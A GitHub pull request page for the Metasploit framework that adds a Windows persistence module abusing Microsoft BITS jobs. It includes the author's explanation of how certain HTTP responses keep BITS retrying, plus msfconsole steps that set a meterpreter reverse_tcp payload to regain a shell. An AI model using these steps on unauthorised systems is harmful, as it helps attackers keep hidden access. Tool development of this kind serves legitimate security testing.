Skip to content

New persistence module: Microsoft Bits#20839

Merged
dledda-r7 merged 15 commits intorapid7:masterfrom
h00die:bits
Apr 14, 2026
Merged

New persistence module: Microsoft Bits#20839
dledda-r7 merged 15 commits intorapid7:masterfrom
h00die:bits

Conversation

@h00die
Copy link
Copy Markdown
Contributor

@h00die h00die commented Jan 2, 2026

fixes #20823

Prob a good one for @dledda-r7 to look at since we may be able to optimize how persistence and httpserver mixins work together.

This PR adds a new persistence mechanism using microsoft bits. Bits, as you can read from my module documentation and code comments, is very difficult to work with and shape its behavior. From the few articles I read about using it for persistence, most people didn't actually use it for persistence. They used it as a file transfer mechanism, or combined it with something else (task) to get the persistence to kick at a later time.

Through research (aka trial and error) I determined that sending certain http responses will put BITS into a state to retry the connection at a later time without cancelling the job. This later time isn't easy to control though.

Verification

You'll likely want to make this quick (but not instant) so I used the following to test:

use exploit/windows/persistence/bits
set session 1
set PAYLOAD windows/meterpreter/reverse_tcp
set srvhost <ip>
set srvport 80
set delay 200
set retry_delay 60
rexploit
  1. Start msfconsole
  2. Get a session on Windows
  3. Do: use exploit/windows/persistence/bits
  4. Do: set session #
  5. Do: set srvhost <ip>
  6. Do: run
  7. You should get a shell eventually

Comment thread modules/exploits/windows/persistence/bits.rb Outdated
Comment thread modules/exploits/windows/persistence/bits.rb
Comment thread modules/exploits/windows/persistence/bits.rb Outdated
h00die and others added 2 commits January 14, 2026 11:20
Co-authored-by: Brendan <bwatters@rapid7.com>
Co-authored-by: Brendan <bwatters@rapid7.com>
@bwatters-r7 bwatters-r7 self-assigned this Feb 9, 2026
@bwatters-r7 bwatters-r7 moved this from Todo to Ready in Metasploit Kanban Feb 9, 2026
@bwatters-r7 bwatters-r7 assigned dledda-r7 and unassigned bwatters-r7 Feb 9, 2026
@dledda-r7 dledda-r7 moved this from Ready to Todo in Metasploit Kanban Mar 23, 2026
@dledda-r7 dledda-r7 moved this from Todo to In Progress in Metasploit Kanban Apr 9, 2026
Comment thread modules/exploits/windows/persistence/bits.rb
@dledda-r7
Copy link
Copy Markdown
Contributor

@h00die may i can ask you to rebase on the current upstream master? if i do it i will steal all you commits :(

Comment thread modules/exploits/windows/persistence/bits.rb Outdated
Comment thread modules/exploits/windows/persistence/bits.rb Outdated
Comment thread modules/exploits/windows/persistence/bits.rb Outdated
Comment thread modules/exploits/windows/persistence/bits.rb Outdated
@dledda-r7 dledda-r7 merged commit 31a2de9 into rapid7:master Apr 14, 2026
26 of 32 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Apr 14, 2026
@dledda-r7
Copy link
Copy Markdown
Contributor

Release Notes

This adds a new persistence module that uses Microsoft Bits to mantain access to the system.

@dledda-r7 dledda-r7 added the rn-modules release notes for new or majorly enhanced modules label Apr 14, 2026
@h00die h00die deleted the bits branch April 15, 2026 21:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

Archived in project

Development

Successfully merging this pull request may close these issues.

New Persistence Technique: Windows Bits job

4 participants